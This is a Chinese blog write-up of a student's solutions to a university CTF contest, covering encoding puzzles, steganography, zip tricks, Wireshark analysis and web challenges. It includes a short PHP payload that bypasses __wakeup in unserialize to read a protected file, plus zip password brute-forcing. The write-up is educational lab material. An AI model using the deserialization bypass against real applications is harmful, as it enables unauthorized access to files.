dlmuctf wp

迈不过友情╰ 2022-12-27 01:19 148阅读 0赞

## **签到题** ##

##### dlmuctf2020 #####

复制粘贴没的说…

##### 早安贝丝人 #####

> `php TVJXRzI1TERPUlRIV1NCV09aU1Y2TlM3TTRZREFaQzdNUTNIU0lMNQ==`

看到两个等号，直接base64，接着来一发base32,得到flag

> dlmuctf\{H6ve\_6\_g00d\_d6y!\}

--------------------

# **crypto** #

##### 经典三合一 #####

萌新做的唯一一道密码学，

> `o{rnhBuRcj_Hjb_uN?p_auJ}`

看起来有flag的格式，试了一发栅栏密码  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70]  
直接看出是凯撒密码，解密可得flag

> flag\{Is\_it\_really\_EASY?\}

--------------------

# **misc** #

#### lsp ####

题目暗示lsb隐写，直接打开Stegsolve.jar、  
先扫了一遍通道没发现什么异常  
然后ExtractPreview分析  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 1]  
发现zip格式文件头504B0304 （PK)和flag.txt  
改后缀.zip，修复损坏的压缩包，解压拿到flag

> flag\{Good\_Job\_kkk\}

#### docz ####

拿到一个docz文件，winhex打开看一下  
熟悉的PK  
改成zip解压出一个‘’‘有问题的压缩包.zip’  
winhex修复压缩包，解压出一个“密码.zip”  
看到提示“真的有密码吗”  
想到伪加密，09 00改成 00 00 直接解压  
解压出“让我们来爆破吧.zip”  
打开ARCHPR 暴力破解  
得密码233333  
提交得flag

> flag\{Have\_Fun\_With\_zip\}

--------------------

## WEB ##

##### 海事官网简化版 #####

打开链接进去直接看源码  
发现几处奇怪的注释  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 2]  
base64解密得flag

> flag\{DMU-CTF\_WEB-mpc\_chuti11261849\}

##### 超级人肉计算器 #####

要求3s交长算式的答案，看了看应该没有其他坑  
就直接写js脚本  
通过切割  
拿到算式  
计算出来再交回去（这里偷了个懒手动粘了回去，3s足够了）  
![在这里插入图片描述][20201206221638946.png]  
得到flag

> flag\{b37d6bdd7bb132c7c7f6072cd318697c\}

##### 你看不见我 #####

打开链接是在线商城，看源码发现最下面有一行注释  
![在这里插入图片描述][20201206224446620.png]  
访问得到如下php代码

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 3]  
一开始不太理解，查了些资料，php代码审计反序列化相关知识  
贴两个参考链接  
[代码审计][Link 1]  
[魔术方法][Link 2]  
然后构造出这样的php代码，

<?php
    class Small_white_rabbit{  
        private $file = 'the_f1ag.php'; 
    }  
    $a = new Small_white_rabbit;
    
    $b = serialize($a);      //序列化
    
    $b = str_replace(":1:",":2:",$b); //魔术方法_wakeup,在反序列化字符串时，属性个数的值大于实际属性个数时，会跳过 __wakeup()函数的执行
    $c= base64_encode($b);  //base64
    
    echo $c;
    
    ?>

把新对象序列化再base64加密，跑一遍程序然后把得到的值用GET方法传给var，就拿到了flag

> flag\{47e85057bb9a8a1b\}

##### wireshark1 #####

现下了个wireshark，打开之后  
过滤一下FTP  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 4]拿到题目要求的密码，包上dlmuctf\{\}提交

> dlmuctf\{cdts3500\}

##### wireshark2 #####

第二题要求https，了解过丢丢计网知识，知道https=http+ssl  
然后把题目中给的ssllog导入到软件中  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 5]

追踪一下tls流  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 6]  
根据题意查一下username，直接拿到了flag。。。

##### wireshark.js #####

同第二题的方法，找http流  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 7]  
根据题意是二次加密，看到了pwd和croypto  
利用秘钥进行了二次加密，而秘钥也许就是croypto  
base64解码![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 8]  
试了好几种带秘钥的解密方式  
最后发现是DES  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 9]

--------------------

# 总结 #

第一届校赛总结下来就是通过这场比赛学了好多东西（好多软件和方法都是现学的），相比于字节和中科大的两次比赛友好了很多。时间不多，只做了部分题，如果有空的话再看看大家其他题的wp。ctf萌新第一次写wp如有问题欢迎指出 OvO

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70]: /images/20221120/b3de3856abf644149ea0378f5c878f10.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 1]: /images/20221120/b522edaaf5404f68ae83d2322bd40187.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 2]: https://img-blog.csdnimg.cn/20201206221111790.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[20201206221638946.png]: https://img-blog.csdnimg.cn/20201206221638946.png
[20201206224446620.png]: https://img-blog.csdnimg.cn/20201206224446620.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 3]: https://img-blog.csdnimg.cn/20201206224526316.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[Link 1]: https://www.cnblogs.com/wangtanzhi/p/12252993.html#autoid-0-4-0
[Link 2]: https://www.cnblogs.com/magic-zero/p/7360396.html
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 4]: https://img-blog.csdnimg.cn/20201206222107873.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 5]: https://img-blog.csdnimg.cn/2020120622314736.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 6]: https://img-blog.csdnimg.cn/20201206222853699.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 7]: https://img-blog.csdnimg.cn/20201206223533336.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 8]: https://img-blog.csdnimg.cn/20201206224035122.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ_size_16_color_FFFFFF_t_70 9]: https://img-blog.csdnimg.cn/20201206223433519.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0Nsb3VkMTIwOQ==,size_16,color_FFFFFF,t_70